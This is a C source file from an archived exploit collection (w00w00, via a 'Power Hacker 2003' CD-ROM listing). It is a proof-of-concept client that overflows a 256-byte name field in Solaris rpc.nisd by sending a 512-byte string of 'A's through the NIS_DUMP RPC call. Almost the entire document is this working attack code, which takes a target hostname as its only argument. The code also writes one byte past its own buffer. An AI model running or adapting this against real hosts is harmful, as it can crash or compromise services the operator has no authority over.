home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / tests / nis / old / nis_clnt1_tcp.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-06-07  |  2.6 KB  |  95 lines

  1. /* w00w00! */
  2. /* This will test a vulnerability in rpc.nisd on Solaris 2.5.1 */
  3. /* (and maybe other versions). See w00w00/vuls/nisvuls for     */
  4. /* details.                               */
  5. /*                                    */
  6. /* This just takes one argument, the hostname. It will find    */
  7. /* the port via portmapper.                                    */
  8. /*                                    */
  9. /* nis_clnt.c just takes two arguments. The second one is the  */
  10. /* port that rpc.nisd is listening on (you can get this from   */
  11. /* running:  rpcinfo -p <host>                                 */
  12. /*                                    */
  13. /* You would use the nis_clnt.c when the portmapper isn't      */
  14. /* working (portmapper is for dorks).                          */
  15. /*                                    */
  16. /* Shok (Matt Conover), shok@dataforce.net                       */
  17.  
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <memory.h>
  21.  
  22. #include "nis.h"
  23.  
  24. /* Default timeout can be changed using clnt_control() */
  25. static struct timeval TIMEOUT = { 60, 0 };
  26.  
  27.  
  28. log_result *
  29. nis_dump_3(argp, clnt)
  30.     dump_args *argp;
  31.     CLIENT *clnt;
  32. {
  33.     static log_result clnt_res;
  34.  
  35.     memset((char *)&clnt_res, 0, sizeof (clnt_res));
  36.     if (clnt_call(clnt, NIS_DUMP,
  37.         (xdrproc_t) xdr_dump_args, (caddr_t) argp,
  38.         (xdrproc_t) xdr_log_result, (caddr_t) &clnt_res,
  39.         TIMEOUT) != RPC_SUCCESS) {
  40.         return (NULL);
  41.     }
  42.     return (&clnt_res);
  43. }
  44.  
  45. void main(int argc, char **argv)
  46. {
  47.   CLIENT   *cl;
  48.   register int i;
  49.  
  50.   log_result *result;
  51.  
  52.   char     buf[512];
  53.   struct   dump_args da;
  54.  
  55.   if (argc < 2) {
  56.      printf(" Usage: %s <host>\n", argv[0]);
  57.      exit(1);
  58.   }
  59.  
  60.   if ((cl = clnt_create(argv[1], NIS_PROG, NIS_VERSION, "tcp")) == NULL) {
  61.      clnt_pcreateerror(argv[1]);
  62.      printf("Try using nis_clnt1 (nis_clnt1.c) instead.\n");
  63.      exit(1);
  64.   }
  65.  
  66.   for (i = 0; i < sizeof(buf); i++) buf[i] = 'A';
  67.   buf[++i] = '\0';
  68.  
  69.   /* Set up arguments. */
  70.   bzero(&da, sizeof(da));
  71.  
  72.   /* make room for da_cbhost_val */
  73.   da.da_cbhost.da_cbhost_val = (nis_server *)malloc(sizeof(nis_server));
  74.   bzero(da.da_cbhost.da_cbhost_val, sizeof(nis_server));
  75.  
  76.   /* Buffer to overflow is MAXNETNAMELEN + 1, which is 256. */
  77.   da.da_time = 1;                                   /* Anything > 0.  */
  78.   da.da_dir  = "/tmp";                              /* Should work.   */
  79.   da.da_cbhost.da_cbhost_len = 1;                   /* Must be one.   */
  80.   da.da_cbhost.da_cbhost_val->name = strdup(buf);   /* Overflow here. */
  81.   da.da_cbhost.da_cbhost_val->key_type = NIS_PK_DH; /* Must be this.  */
  82.  
  83.   result = nis_dump_3(&da, cl);
  84.  
  85.   if (result == NULL) {
  86.      clnt_perror(cl, argv[1]);
  87.      exit(1);
  88.   }
  89.  
  90.   printf("All finished.\n");
  91.  
  92.   free(da.da_cbhost.da_cbhost_val->name);
  93.   free(da.da_cbhost.da_cbhost_val);
  94. }
  95.